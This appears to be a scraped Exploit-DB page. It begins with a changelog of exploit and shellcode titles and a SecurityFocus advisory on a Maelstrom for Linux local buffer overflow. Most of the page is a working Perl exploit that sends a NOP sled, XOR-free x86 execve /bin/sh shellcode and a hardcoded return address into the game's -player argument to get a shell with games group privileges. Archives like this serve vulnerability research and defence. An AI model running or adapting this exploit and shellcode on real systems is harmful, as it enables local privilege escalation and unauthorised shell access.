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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
41 lines
No EOL
1.6 KiB
Perl
Executable file
41 lines
No EOL
1.6 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/7632/info
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Maelstrom for Linux has been reported prone to a buffer overflow vulnerability.
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The issue is reportedly due to a lack of sufficient bounds checking performed on user-supplied data before it is copied into an internal memory space. It may be possible for a local attacker to exploit this condition and have malicious arbitrary code executed in the context of the Maelstrom application. Typically setGID games.
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It should be noted that although this vulnerability has been reported to affect Maelstrom version 3.0.6 and 3.0.5 previous versions might also be affected.
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#!/usr/bin/perl -w
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#
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# /usr/bin/Maelstrom -player Local Buffer Overflow Exploit by akcess
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#
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# This code exploits the -player overflow which i discovered after
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# reading the initial advisory detailing the -server overflow by
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# Luca Ercoli
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#
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# [ akcess@linuxmail.org ] - *21/05/03*
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$sc = "\x90"x1500; # write stdout "akcess wuz here..."; execve /bin/sh; exit;
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$sc .= "\x31\xc0\x31\xdb\x31\xd2\x53\x68\x2e\x2e\x20\x0a\x68\x65\x72\x65";
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$sc .= "\x2e\x68\x75\x7a\x20\x68\x68\x73\x73\x20\x77\x68\x61\x6b\x63\x65";
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$sc .= "\x89\xe1\xb2\x18\xb0\x04\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68";
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$sc .= "\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24";
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$sc .= "\xb0\x0b\xcd\x80";
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$ENV{'SC'} = $sc;
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$offset = "0";
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$ret = 0xbffff9ee;
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for ($i = 0; $i < (8177 - 4); $i++) {
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$buf .= "\x90";
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}
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$buf .= pack('l', ($ret + $offset));
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print("Using return address: 0x", sprintf('%lx',($ret + $offset)),"\n");
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exec("/usr/bin/Maelstrom -player 1\@'$buf'"); |